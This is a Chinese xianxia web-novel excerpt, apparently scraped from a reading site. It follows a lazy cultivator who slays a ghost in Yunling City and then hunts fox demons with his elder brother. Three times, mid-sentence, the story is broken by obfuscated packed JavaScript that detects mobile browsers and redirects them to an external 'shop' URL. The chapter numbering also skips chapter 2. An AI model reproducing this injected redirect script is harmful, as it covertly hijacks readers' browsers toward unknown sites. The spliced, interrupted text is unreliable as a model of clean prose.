《宅男宗主:我只想钓鱼,怎么成反派了?》 1. 日落鬼现世 历练除狐祸(一) “到底买不买啊你?!不买赶紧给我滚!!!” 公仪岭闻言悚然,手上却不为所动,继续硬着头皮翻看。 这已经是他站在这家猪肉铺门口后第七次听到屠户怒吼,这屠户看起来就差没拎着砍刀直接给他一刀了。 这能怪屠户不想做他的生意吗?案板上就剩下这么五六块猪肝,他挑挑拣拣翻来覆去,足足磨蹭了差不多有两三刻钟的时间。 一会儿问猪肝的做法,一会儿又问猪肉的来源,眼看着太阳就要下山了,公仪岭竟还没下定决心要买哪块,最后张口来了一句:“老板你这个不新鲜啊……” 屠户嘴唇翕动,一忍再忍,忍了又忍,最后忍无可忍,抡起砍刀就扎扎实实砍进了案板里,震得猪肝都抖了三抖,咆哮道:“找茬来的?啊?!老子早上刚杀的活猪你说我卖的不新鲜?早不来买,日落了都快收摊了来买!” 公仪岭道:“我这不是早上起不来嘛……” “找抽呢你?!你说,想怎么样?!” 公仪岭摸了摸钱袋,随手指了其中一块猪肝,厚着脸皮上秤:“便宜点呗,下次我还来买。” 没钱还来买东西? 屠户看了一眼秤上的二两猪肝,啐了一口,骂骂咧咧就开始赶人:“两文,不能更少了!他妈的就买这么点东西还挑半天?赶紧给我滚!天都黑了,别影响老子关门!” 公仪岭摸了半天,摸出两个铜板搁在人案板上,接过挂着猪肝的绳子。 听到屠户的后半句后,他顺口打听道:“老板,这刚黄昏,怎么街上铺子都闭门谢客了?放着好好的夜市生意不做,可是发生了何事?” 屠户看死人般看了他一眼:“你不知道?城里出现了个赤发长脸的邪祟,每到日落黄昏就出来作乱,吓人的很!你要是再在街上晃悠,当心丢了小命!” 公仪岭“哦”了一声,回忆起出门前,大哥语重心长地对自己交代的内容:“近日,山下贡桌里有人反映,云灵城中有邪物作祟,每每于黄昏之时出没。你今日既然要下山,那就顺便将此事解决再回来吧。” 于是,公仪岭对大哥感慨道:“这邪物昼伏夜出的,作息跟我一样呢?真贴心!” 要不是是为了给自己养的王八尝尝鲜,他是压根懒得下山的。这不,抱着走一趟顺道干两件事的想法,他这才特地选了这个时间下山。 刚进云灵城,夕阳已经笼罩了半边天。公仪岭暗叹自己时间点掐的刚刚好,却万万没想到在街上等了半天也没等来赤发长面鬼,这才在猪肉铺门口磨蹭了一会儿,全当打发时间。 “砰!” 他还在思忖着,面前的门就毫不留情地关上了,看来,屠户压根没管他的死活。 公仪岭默默叹了一声:“好好做生意嘛,火气这么大作甚。” 云灵城中的这条长街他可没少来,在街上每一家卖钓具的店铺里都是熟客了,这长街从前是城中最热闹的地段,多得是小贩叫唤、戏班杂耍,可现在却是冷冷清清,路上连只鸟都找不见。 眼看着日光渐弱,公仪岭走在街上,地上的影子也越拉越长,似乎也在催促他尽快离开。 下山前公仪岭跟大哥商量戌时前就回去,出来前他还盘算着再怎么样也不会迟了,哪知在这蹲守了赤发长面鬼这么久,街上也没个鬼影出来。 公仪岭急得不行,提溜着猪肝在街上来回踱步,心道:“怎么还不来?我出来前还没喂王八呢……招财、进宝、富贵,可千万坚持住,别饿死了……” 说着他就思考起来如果自己赶不回去的话,能不能让大哥帮忙给喂喂。 想了想,他立马就放弃了这个念头。 大哥肯定不会给喂东西的,他可是避开都来不及。 原因无他,只怪自己养的王八前几日咬坏了公仪岚的衣服。子不教父之过,全权由他替王八们受罚,抄三篇书抵过。 公仪岭一个人在场上转悠了两圈后,天色才变得灰暗起来,长街上突然妖风骤起,吹得远处树叶簌簌作响,这正是妖邪现世的景象。 伴随着风声呼啸,长街尽头那几家铺子也在这一瞬间把大门关得严严实实,公仪岭甚至还能听见微弱的几声:“那小子还不走,不要命了?!” “管他呢,先关门再说!” 人人自顾不暇,哪里还有心思去照顾一个素不相识的人? 相比起他们的惊慌失措,公仪岭则是心中一喜——等了半天,可算来送死了。 “终于来了!” 公仪岭拿着猪肝的手臂微微一抬,那只泛着灰黑色,皮肤干瘪的爪子就抓了个空。他转身,腰中佩剑已经出鞘,一道剑气挥出,瞬间逼退了身后的东西。 打了这一下照面,公仪岭也就看清楚了那东西的原貌,乱发蓬头、面容污秽,脸比正常人的脸长了两倍有余,眼眶中只能看到令人毛骨悚然的眼白,动作像个傀儡一样毫无生气,乍一看十分可怖。 有这么个东西天天在城里作祟,也难怪他看见每个人脸上都神色慌张,城中还时不时能听见幼童哭喊,定然是见到了这不干净的东西被吓破了胆。 公仪岭摇了摇头,执剑沉声道:“云灵山下人杰地灵,风水宝地,区区无名鬼魂竟敢在此地作乱,今日便是留你不得!” 说完,还忍不住在心里给自己赞了一声。 多么经典的语句!多么恰到好处的发言!多么正气凛然的仙师! 然而他这一番慷慨激昂的陈词,面前的赤发长面鬼却是毫无反应。 也是,低阶小鬼哪里有什么神志,看这样子是听不懂自己在说什么。 公仪岭顿觉无趣,打算速战速决,于是旋身手中剑气一扫。谁知那赤发长面鬼走起路来行动缓慢,却没想到躲避起他的剑来还算敏捷,他一击不中,心中略微诧异。 虽然他在云灵山中经常不好好听学练剑,跑去池塘钓鱼,但这也不影响他在仙考名列前茅,像这样的小鬼,他杀起来就像切菜一样容易,怎么会打不中? 诧异归诧异,他手上剑式却丝毫不露破绽。赤发长面鬼几番下来没有讨到什么便宜,出手更加凌厉起来。 公仪岭虽然想快点打完收工,但跟它过招的时候还得分神护着钩着猪肝的挂绳,生怕它给绳子弄断,杀鬼的效率也就变慢了些。 眼看着太阳渐渐沉下去,他打定主意不与它纠缠,正打算一剑封喉之时,却看见那原本狰狞扭曲的鬼面突然显露出一丝痛苦之色。 他心中一惊,归云剑堪堪停在了赤发长面鬼喉咙前一寸处。 若是寻常的鬼,早已僵硬地难以动弹了,如何能够做出这样痛苦的表情? 它张了张嘴,似乎努力想发出什么声音,却只能呜呜地嚎叫。不过,那痛苦的神色转瞬即逝,取而代之的便是更狠厉的攻击,每一下都直朝着公仪岭的要害攻去。 公仪岭正若有所思,余光一瞥,见它抬手就想打掉自己的剑,再没有丝毫犹豫,挥剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429869|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺穿了它的喉咙。 赤发长面鬼口中含糊不清的叫声戛然而止,不多时化作了一股黑烟消失在空中,再也找不到痕迹。 公仪岭低头看了看自己的剑,琢磨着刚刚那个鬼似乎有什么话想对自己说,看赤发长面鬼那一瞬间的神色不像是完全失去神智,倒像是受东西控制一般。 他正疑惑不解,街道两边有几盏零星的灯笼忽然就亮了起来。 不远处一座矮小木屋微微打开了一条门缝,里面探出了一个小男孩的脑袋,试探性问道:“死了?” 公仪岭对他点点头:“嗯,死透了。” 得到了他肯定的答复后,小男孩欢呼着打开门:“死了!死了!这个东西终于被消灭了!阿婆!是仙师杀的鬼!太厉害了!” 小男孩喊了一嗓子后,其他门窗也前前后后被人打开。 一人问道:“真的假的?” 马上就有人大喜过望道:“真的,我们家刚才都看见了!” 这两人一说完,长街两侧的屋内瞬间涌出来众多百姓,直直冲着公仪岭奔来,每个人都感激不已,欢呼雀跃。 “杀的好!这该死的东西终于被除掉了!” “就是!这半个月闹的人心惶惶的,大晚上的谁还敢出门!” “仙师也太厉害了,什么门派的啊?怎么招的门生啊?我也想送我们家孩子去学!” 公仪岭看到这么乌泱泱一大群人,觉得自己额头都开始冒冷汗了,刚想转身开溜就被百姓拦住。他完全没想到这些人方才都躲在屋内透过门窗缝观察他的战况,如此一来,自己的身份也就被人认出来了。 百姓们叽叽喳喳,将公仪岭里三层外三层地团团围住,就连刚才的屠户也挤开人群涌到他面前来,提溜着一串猪肝大喊道:“仙师!方才有眼不识泰山,多有得罪您见谅!这些猪肝您拿好,算是我给您赔礼道歉了!” “无妨,无妨……” 公仪岭被这场面弄得不知所措,顺手接过猪肝,笑容有些牵强,盘算着拿了这么多猪肝王八们也吃不完,是做盘菜给大哥试试,还是拿去做钓鱼饵料呢?说起来猪肝可以做鱼饵吧? 屠户见他接了猪肝,追问道:“敢问仙师是什么地方来的?若不是仙师替我们除鬼,也不知道城中什么时候能太平!” 公仪岭心中大喜,面上从容镇定,执剑拱手,念出了早已准备好的台词:“在下云灵山,公仪岭。” 云灵山是这附近远近闻名的仙山,百姓都知道传闻中山上有仙师坐镇,每逢过节常常会去山脚下的贡桌送些贡品,盼着自己能得偿所愿。 众人纷纷点头,了然道:“原来是云灵山仙师……仙师下山除鬼,我等感激不尽啊!” 公仪岭谦逊道:“举手之劳,不足挂齿。” “不知仙师逢年过节喜欢收些什么贡品?我们也好提前准备准备,聊表心意!” 公仪岭连声婉拒,说道:“不必,不必,有心者随意放些贡品就好,不用那么大费周章,大家可不要浪费粮食了!” 众人完全没听他刚刚说了什么,目光下移,注意到了他手上拿着挂满了猪肝的钩子,恍然大悟:“原来仙师的爱好如此特殊,看来以后上贡的贡品应当换成猪肝才是。” 公仪岭满头大汗,脚下连连后退,一边摆手道:“倒也不必……其实这猪肝是给我养的王八吃的……” 众人又顿悟了:“不愧是仙师……连养的灵宠都如此特别!” 3. 日落鬼现世 历练除狐祸(三) 公仪岭果断道:“大哥你放心,每次出去玩我都报齐元白的名字,丢脸也丢不到我们云灵山来。” 他同齐元白自幼相识,仙考期间时常骑马打猎,下河摸鱼。只因齐元白这人外表看起来温良谦和,生得又十分柔美,小时候他们俩犯事的时候,长辈们都下意识觉得是他怂恿齐元白干的,根本不会觉得这其中有齐元白出的一份力。 公仪岚也与齐元白熟识,深知这一点,叹道:“也就他脾气够好能替你背黑锅,换了别人你倒是试试。” 公仪岭笑道:“那是,许久没见,可不得再坑他一把?” 回到书房,抄完那三遍书后,夜已渐深。 公仪岭伸了伸懒腰,活动了一下指节,将毛笔往桌面上一丢,走到床边倒头就睡。 至于每日早课,这样的事情压根不会在他脑中停留一秒。今夜,公仪岭踏踏实实睡了个好觉,这一睡,又睡到了日上三竿。 当然,他想不起来这回事,自有人帮他想起来这回事。 “二师兄,你要是再不起来,岚兄又该拿戒尺训你了!” 公仪岭正梦游天外,头脑尚未清醒时就被公仪承悦一嗓子喊醒,挠了挠头勉强睁开眼道:“是不是到点该练剑了?” “练剑?都快午时了,还练哪门子的剑?”承悦一脸的恨铁不成钢,“早课早就结束了,要不是师父和岚兄都不在,你哪能睡到这个点才起?肯定早就被叫起来了。” 公仪岭闻言一愣:“我爹和大哥都不在?昨天不还好好地,大早上的都去哪里了?” 承悦道:“白日里师父接到传书,好像有什么十分紧急的事务要处理,收拾了东西便拉着夫人闭关,召了岚兄议事完后才走。” 公仪岭“啊”了一声,随即就想到了昨天说的那事:“一个个都走了,那山下的那些妖邪之物,不就没人去处理了吗?” 没等承悦开口,门外便传来了一声沉稳的男音:“我正要同你说这事。” 这声音,公仪岭再熟悉不过,当即抖了一抖,很是心虚。 原来没走啊……还以为错过早课这件事情,能就这样暂且瞒过去呢。 他小心翼翼地抬眼望去,果真见公仪岚握着戒尺进了门。 白日里见到公仪岚,那就跟昨天夜里见到的全然不同了。 昨夜公仪岭回来得晚,公仪岚洗漱完后,松松地绾了发就出来等他,跟现在相比,看起来便闲散许多。而今日见到公仪岚,却是从头到脚穿着地及其体面,身上的配饰也是一丝不苟,让人挑不出一点不得体的地方,而那一身暗红衣服,更衬得他长发如墨,面若冠玉。 虽然他与公仪岭有着九分相似的面容,但光看这出尘的气质,就没人能将他们两个人错认过——毕竟谁也不会觉得云灵山的少宗主,是公仪岭那个整天不求上进、不务正业的人。 饶是公仪岭岁岁年年都能见到他,也不由感叹一句:他这位大哥,果真当得起“别人宗门的弟子”这个名头,要是仙门百家能出个“最值得当榜样的弟子”的榜单,他大哥一定是无可非议的榜首。 然后,就听见他那面若冠玉、拿着戒尺都丝毫不见戾气的大哥,温和地开口。 “阿岭,爹娘闭关前嘱托,既然仙考在即,让我们将每日修行改为下山历练也未尝不可。等到我们两个人除完所有妖孽后,想必时间也差不多了,正好启程赴考。” “所有妖孽?我们两个人?”公仪岭心中一颤,勉强挤出笑容,“有多少只?” 承悦不知从何处摸来一把算盘,噼里啪啦拨了一番算珠:“据消息传言、城民提供的线索以及师弟们早上踩点可知,有山鬼一只、伥鬼两只、水莽鬼一只、无头鬼四只、尸魂鬼四只、蛇妖三只、狐妖两只、花妖三只。统共二十只整。” 这下,公仪岭的笑容彻底僵在了脸上。 他跟大哥两个人下山除妖的话,也就是一人十只的量,这十只东西,哪怕他们奔波不停全日无休地杀,恐怕也得杀上三日才行,更不用说,这二十只妖怪分散在不同的地方,相隔距离少则十里、多则五十里,没有四五日,哪里能杀得完? “这么多?!” 公仪岚安慰他道:“阿岭,你先别急,其他小妖不足为虑,也只有那两只狐妖会多费些时间。” 公仪岭声线略微颤抖,再次追问:“只有我们两个人?” 他看着大哥,殷切地盼望着能得到否定的答案,哪怕他是说带着一帮弟子一起下山历练也好。 只可惜,公仪岚自动忽略了他的目光,温声道:“既然爹娘是让我们去实战的,自然是不必带上其他师弟们的。” 公仪岭眼中那微弱的光亮,彻底熄灭了。 承悦收起算盘,十分适时地扶住了摇摇欲坠的公仪岭,趁热打铁:“师兄你剑法卓然不凡,区区二十只小妖,努努力,一日杀十只,定然是来得及去参加仙考的。” 公仪岭干笑两声。 开玩笑!一天杀十只,这样来回奔波下来,他就算是铁打的人也该累瘫了,哪里还能有力气参加仙考? 恍惚之间,他听见公仪岚说了句:“承悦,把阿岭的手打开。” 公仪岭脑子还没反应过来怎么个事儿,旁边的承悦就非常上道地扒拉开了他的左手手掌心。 公仪岭反应过来,震惊不已,立刻就想把手缩回去,惊声道:“不是!等等!!你们来真的???大哥,你真打啊?!” 他想把手扯回来,谁知道承悦力气比他想象得还大,被他扯了一下依旧巍然不动。 公仪岭默然无语。 难道这就是天天上早课练剑的成效吗?也太有成效了吧…… 自从这戒尺被公仪岚改良了一番后,效果比原先好了数倍。他往公仪岭左手手心抽了三下,打得公仪岭嗷嗷乱叫才收手,随即将戒尺丢在旁边的桌子上,轻笑道:“早课每日辰时开始,今日你睡晚了一个时辰,便打三下左手略作小惩。如此一来,也不影响右手使剑,免得你找借口使不了剑,耽误除妖大事。” 公仪岚可谓是对他了解地透透的,就连公仪岭有可能会用什么借口都直接堵死,完全没给他留半点退路。 公仪岭忍着痛吹了吹手心的红痕,不死心地问道:“大哥,我记得在各仙门修习五年以上的门生皆可参与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429871|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙考,既是仙考大会前的历练,机会难得,难不成这次师弟们都不去吗?” “这次历练,只有我们二人。”公仪岚道,“至于参加仙考大会……两日后,承悦会带着他们,在云灵山山脚处等我们归来。” 匆匆吃完午饭,公仪岭便跟随大哥下了山。 前后花了三日,他们轻而易举便把外城边的几只小鬼除了个干净,每一只小鬼身灭后都与赤发长面鬼一致,皆化作黑烟消散。 公仪岚在册子上如实记下每个的战况,扫了一眼剩下的几只妖邪,打算晚上去会一会那只狐妖。 公仪岭连斩数只小鬼,身心俱疲,趴在路边一家面馆桌子上就不起了,有气无力道:“店家,来两碗挂面……” 并非是他疏于修习才会如此,而是他万万没想到,原先两人说的好好的,一人杀一半,谁知道公仪岚刚杀了两只,便取出册子唰唰唰开始写,内容详细上至妖邪面貌招式,下至战斗场面情形。 写着写着,他还开始指导起公仪岭,该如何与它们过招、该如何减少招式中的纰漏。直到公仪岭杀完第七只瘫在面馆桌子上,这才满意地点点头,把册子收进了包袱中。 小二很快过来上了两碗面,朗声道:“客官,您的面。” 公仪岚从钱袋中取出小块银子,对店小二笑道:“劳烦再上三碗吧。” “好嘞!您稍等。” 不消多时,四碗面条整整齐齐码在公仪岭面前,他二话不说便开始狼吞虎咽,风卷残云般将四碗面条炫得干干净净后,对着公仪岚打了个饱嗝,这才长舒一口气。 公仪岚见他吃饱,就道:“只剩下那两只狐妖了,今晚我们上山去将其处理了,动作快些的话,明天就能启程前往抱元门。” 公仪岭嗦着剩下的面汤,心道终于快结束了,嘴上老老实实应了一句:“好的大哥。” 云灵城外群山环绕,公仪岚所说的狐妖,便是在云灵城附近的一座山头出现。 他们尚且不知具体方位,两人只能顺着山间石子路走着,公仪岚取出了包袱里的寻妖罗盘,捏了个诀施在罗盘上,指针便缓慢开始转动起来。 他浅浅判断了一下大致方位,说道:“看样子是在西北方向的山上。” 公仪岭脚尖踢了踢路上石子:“这里路看起来不太好走,我可不熟悉这里。” 他所言不假,作为一个天天窝在云灵山鲜少出门的人来说,这里已经不属于他熟悉的地界了。 公仪岚回忆了一番,对他道:“我倒是来过这里,这山中树林密布,人迹罕至,每一处都十分危险,我们上山途中需得小心一些,阿岭,你跟着我走就是。” 此时,太阳也将将掩入山体,半边天都染上了霞色。 公仪岭抬头望了望夕阳余晖,问道:“都说狐妖会避着白日阳气旺盛的时候食人精气,难道也是日落才下山?” 公仪岚不置可否:“那日,你斩杀的赤发长面鬼是一个低阶小鬼,承受不了太多阳气,只能在黄昏后出现。可是若是长时间被御魔幡控制,稍微厉害点的鬼,恐怕不惧白日。所以,这狐妖白天黑夜都有可能出现。” 4. 日落鬼现世 历练除狐祸(四) 公仪岭啧啧感叹:“那还真是麻烦。” 公仪岚道:“是啊,狐妖本就难缠些,何况一下子有一公一母两只。” “这两只狐妖,难道都是在这座山头上?” 公仪岚唰唰地翻着自己记录的册子,点头道:“是的。据师弟所述,这是两只已经能化成人形的狐妖,我们夜间走山路的时候,切不可相信其他出现的活物。” 公仪岭想的却是更多一些。 一山不容二虎。就像灵兽喜欢各自圈地盘、互不干扰一样,这些妖物也都会刻意避开各自的领地。尤其是像这样同为一种妖物的情况下,能在一处同存,少之又少。 公仪岭觉得这两只狐妖也许是一对夫妻,才会同处一地。如此看来,食人精气必然利于它们增进修为,这才会杀了如此多人。 为了隐匿行踪,防止打草惊蛇,两个人御剑至山脚下便开始步行上山。 一旦夜幕降临,这山中就极难视物,公仪岭也不敢贸然点燃火把暴露自己,只得燃了一小张黄符,借着微弱的火光照明前路。 公仪岭没来过此地,但也知道这座山叫云华山。这云华山,不大也不小,不高也不矮,乃是云灵山一众山脉上一座不起眼的山。公仪岭御剑飞行之时,也没觉得这山有多高,想着走起来应该不会费劲,哪成想,爬了半天,竟然还没走一半山路。 不过,光走这点山路,也足以让公仪岭感受出来,云华山是个怎样的山了。 云华山距离云灵山稍远,故而跟其他山相比,算不上是灵气鼎盛的福地。修仙弟子们想要增进修为,找地方闭关修炼的话,大多数会选择一处人杰地灵的洞天福地,像云华山这样的地方,还远远不够格,公仪岭没来过此地,也是正常。 不过,他也清楚,千百年来,靠着这微弱的灵气,这山中孕育出了不少精怪,只是不知道,这两只狐妖到底是什么时候来到云华山修炼的。 约莫走了有一个时辰,两人终于行至了半山腰。 公仪岭隐隐约约听见有水声,循着声音上去,果然在洞中看见一汪清澈潭水。 “可算是遇到干净的水了。” 他们忙了一日,水囊里的水早已见底,这会儿难得瞧见有山泉水,公仪岭顿时起了打水的心思。 他一手捏着点燃的黄符,就要转身拿包袱里的水囊取水。 然而,正是公仪岭转身的那一下动作,黄符上微弱的火光瞬间映照了潭水,闪过一丝不同寻常。 从进入潭水洞后,公仪岚便一直警惕地环顾四周。这火光一瞬间闪过,速度快到连公仪岭都没注意到有哪里不对的地方,但这并没有逃过公仪岚的眼睛,他深深皱眉,忽然往漆黑的一处仔细看了两眼。 公仪岚目力极佳,这一看不得了,瞬间倒吸一口凉气。 他毫不犹豫伸手拦住了他,轻声道:“不可!” 公仪岭一愣,当即噤声,顺着他的目光,捏着黄符再度望向那个角落,这才知道公仪岚为何制止了他。 角落里有个人形的玩意倒在那里,一动不动,也不知是死是活,透着一股诡异之感。 面对未知的状况,公仪岭也不敢贸然行动,只能悄然用口型问公仪岚:“怎么办?” 公仪岚示意他在原地等着,一手按在剑上,轻手轻脚往那走去。 公仪岭有些担忧,手已经不由自主地按在了剑上,目光紧紧跟随着公仪岚的脚步,忍不住轻声道:“大哥,你小心点啊!” 不多时,公仪岚的整个身体都消失在了黑暗之中。 足有一分钟,这潭水洞中安静地落针可闻,公仪岭就要忍不住开口问他的时候,就听见了窸窸窣窣拖动重物的声音。 既然不是打斗的声音,想必应该不是什么危险的事情。 公仪岭立即低声问道:“大哥,如何?” 公仪岚道:“是一具尸体,刚气绝没多久,是被吸干了精气丢在这里的。” 刚气绝没多久,也就是说,这两只狐妖一定就在附近。 公仪岭全神戒备,一手按着剑,小心翼翼地挪到公仪岚身边,也检查了一番尸体。 这尸体面色晦暗发灰,两颊凹陷,骨瘦如柴,面上表情还停留在临死前恐惧与吃惊的那一瞬间,一看就是被妖邪所害。 “咔。” 两人正屏息凝神的时候,忽然听到手上的罗盘清脆的转动声,在这寂静的洞中格外明显,瞬间吸引了他们的目光。 罗盘上的指针稳稳停在了公仪岭面前。 公仪岭心下一惊,还没在黑暗中分辨清狐妖的位置,下意识手中剑已往前方甩出,横空飞剑,剑气凌厉,直直往前破空而去。 然而,没有中。 岩壁上发出一声巨响,归云剑的一半剑身全部没入其中,没伤到妖邪半分,倒是把岩壁劈开了一大条裂缝,瞬间哗啦啦地落了一地碎石。 只听高处一声娇笑,下一秒公仪岭前上方的岩壁凹陷处“噌”地出现了两只发光的绿眼,幽幽开口:“小仙师,大晚上的还来捉妖,当真是辛苦啊。” 公仪岭一伸手,召回了扎在岩壁上的归云剑,笑道:“你们若是识相点,便老实投降,省得我们再辛苦打一架。” 女妖眼波流转,嗔怪道:“打都没打过,就叫人家投降,天下哪有这样的道理?小仙师当真是薄情……” 公仪岚抽剑而出,沉声道:“你这狐妖,杀了这么多人还敢口出狂言,阿岭,不要跟他们废话!” 公仪岭环顾四周,低声说道:“大哥,听声音这是那只母的,还有一只公的不知道去哪了,我们当小心些为妙。” 女狐妖眸光一闪,轻轻一跃落到地面,绕至公仪岭身后,侧过头覆在他耳边,一只芊芊玉手抚摸着他的脸颊,舔了舔嘴唇咯咯笑道:“什么母的,我看你这小仙师长得细皮嫩肉,说的话怎么如此难听?” 公仪岭毫不客气地拍掉她的爪子,冷声道:“怎么,你不是母的,难不成还是公的?” 女狐妖被他打掉爪子,倒也不恼,娇笑了一声,又顺势便抬起公仪岭的下巴与他对视,一双明眸勾魂慑魄,自是万种风情:“怎么,仙家就送了你们两个年轻俊俏的小仙师来对付我们?还真是……不怕死啊。” 公仪岭一阵恶寒,立马往后跃开数丈。旁边公仪岚叱道:“你们在此地杀了这么多人,又怎会不知仙门早晚会派人过来了结你们?我看不怕死的,是你们吧。” “哼,这又是哪家的,来多管闲事?” 狐妖视线一转,看清了公仪岚衣服上的祥云暗纹,当即哼笑了一声:“看不出来又是云灵山的小仙师,有趣。” “既然认出来了,今天就给我老实束手就擒。” 公仪岭懒得搭理她,默念了几句清心咒,当即就挥剑往它身上劈去。 女狐妖转身闪避,反手便是一道术法打出。 他提剑一挡,分毫不差地将这术法给拦了下来,正欲飞身与她缠斗,就听公仪岚说道:“二打一还能给她羞辱不成?趁着那只公狐狸不在,先斩了她再说。” 公仪岭道:“正有此意!” “二打一?我吗?你们怎么舍得?” 她说罢,公仪岚剑已出鞘,转瞬已经来到了狐妖面前,彻云剑剑光闪烁,直直抹向狐妖的脖子。狐妖向后仰身,堪堪避过了这击,捏准时机就掐了一个绿色光芒冲两人身上打去。 公仪岭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429872|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧身一避,那绿色光芒几乎擦着他的面容飞过,落于水面之时,顿时炸开一声巨响,惊起阵阵水花,飞溅到了岸上。 他虽然年轻,却也与不少妖魔鬼怪交过手,从刚才来看,这女狐妖当真是有些修为,难怪公仪岚说这些妖中,数这两只狐妖最难对付。 “你这妖,定然是杀了如此多人,才有如今的修为!”公仪岭咬牙切齿,“当真是穷凶极恶!” “穷凶极恶?哈哈哈哈……” 她仰天笑着,语气魅惑:“我们杀的人,哪个不是穷凶极恶之人?你怎么不说,我们是嫉恶如仇,替天行道呢?” 妖言惑众! 公仪岭义正严辞:“是非曲直自有官府辨个明白,何须轮到你这妖孽假公济私,颠倒黑白?” 那女狐妖不辩解,依旧咯咯笑着,行动却越来越快。这地方毕竟是她的地盘,论熟悉程度,他们两人还远远不及,一个不留神,狐妖就逐渐隐匿在黑暗之中,寻不见踪迹了。 公仪岭心中暗叫不好,敌在暗我在明,这样的情况属实有些不妙。 他们耳边依旧萦绕着狐妖挑衅的话语与笑声,双目却无法得见她所在的位置。 “不好。”公仪岚皱眉,“她是在引那男狐妖过来。” 公仪岭听他一说,想到她方才刺耳的笑声与潭中水面炸开的巨响,立刻明白。 这女妖与他们二人几番交手下来,自知不是二人对手,便这般不动声色地开始叫帮手。 公仪岭挥剑斩断一片衣袖,覆在眼上,哼笑道:“来了正好,来一个杀一个,来两个正好杀一双,早打完早收工下山!” 这办法也算是公仪岭的拿手绝活,这么多年,光靠听声辨位的这个本事,他就正手反手一只手打得同门师弟满场乱窜,甘拜下风,结结实实地堵住了那些对他疏于修习的人的嘴。 少了眼睛的判断,他更是心无杂念,快如闪电。 归云剑出,公仪岭亦是腾空跃起,仅仅只停顿了一瞬,耳朵就已经判断出了女狐妖的位置。 只见寒光一闪,谁也没看清楚公仪岭是如何找出女妖的,那归云剑已经架在了女妖的脖子上。公仪岭旋身交叉步上前,瞬间制住了她,归云紧贴着她的脖颈,已经划出极深的一道血痕。 “不错,这几天历练下来,阿岭你的进步不小。” 如此情形,公仪岚还能抽空夸赞他一嘴,可见这两人对付这只狐妖,有多么游刃有余了。 公仪岭笑着,还不忘语重心长地对她道:“由此可见,要说修炼,还得是老老实实地修炼,别总想着什么歪门邪道一日飞升,根本是不可能的事情。你依靠吸食人精气这样的逆天法子修炼,根本就不是我们俩的对手。” 公仪岚点头赞许:“说得好。”随后也提剑架住了她另一边脖子,随手掐了个诀防止她变回原型逃脱。 女狐妖冷笑道:“杀了我又有何用?我若死了,等神器炼成之后,仙门百家都会给我陪葬。” “是吗?你确定吗?” 公仪岭莞尔:“杀了你没用的话,那杀了他呢?” “你……” 公仪岭没有理她,而是凝视着不远处的黑暗,收起了笑意:“都到这个份上了,藏着也没意义,出来吧。” 公仪岚见状,也猜出来了前因后果:“莫非……” 公仪岭点头:“正是。” 原来这女狐妖想借着分身之法拖延时间等丈夫到来,却完全没想到公仪岭这么快便破开了自己的法术,导致自己一朝被擒,不仅不能将局面变成二对二,反倒自己变成了妖质,让丈夫也陷入了困境。 “出来,”公仪岭沉声说道,“我不想说第三遍。” 5. 日落鬼现世 历练除狐祸(五) 话音刚落,公仪岭察觉到周身阴风乍起,离他们不过十步路的出口,传来沉稳的男声:“有话好说,两位仙师。” 公仪岭果断道:“那你快说。” 他手上微微用力,女狐妖的血便顺着归云剑滴在了地上,明晃晃的威胁。 “……” 公仪岭等了半天,没听到对面说话,正想问,发觉女狐妖张了张嘴,似乎也想说什么,顿时疑惑道:“你也有话要说?你们俩到底谁先说?” “我先说。”公仪岚插了一嘴,“我尚有一事不明。” 公仪岭十分配合:“大哥你说。” 就见公仪岚死死盯着男狐妖的方向,出声道:“你过来。” 对面沉默了许久,才道:“岚兄,其实我并不希望看见的是你。” 公仪岚了然,缓缓道:“原来是你。” 公仪岭脑中一片空白。 什么?大哥竟然与这妖怪是旧相识?等等,方才那人说的话,这声音又为何如此熟悉? “自云灵山一别,已经数年未见了,难为你竟还能辨出我的声音。”他缓缓走近,身形也逐渐明朗。 公仪岭听到他说的这话,忽而灵台一片清明,几年前的点滴回忆如潮水般涌入脑海,一下子便记起了这是何人。 事实上,他们也的确应该认出此人。 直到对方完全从黑暗中现身,公仪岭看清楚了他的模样,不敢置信地看向他:“公仪正卿?” 若不是彻底看清楚了那人的模样,他无论如何都不能相信面前这个人竟然是曾经的师弟,公仪岚的挚交好友,公仪正卿。 只因他身穿玄衣,周身透着狠戾的邪气,一双似笑非笑狐狸眼冷淡地望向公仪岚。如今的他,活脱脱就是一副狐妖的样子,哪里还有半分名门正派出身的气质? 现在看来,这狐妖怕是本就只有一只,只不过萧正卿一直从旁协助,这才叫百姓以为有两只狐妖。 自从三化殿上出了那桩事情后,各仙家捉拿了他三年之久,也没能寻到他的踪迹。 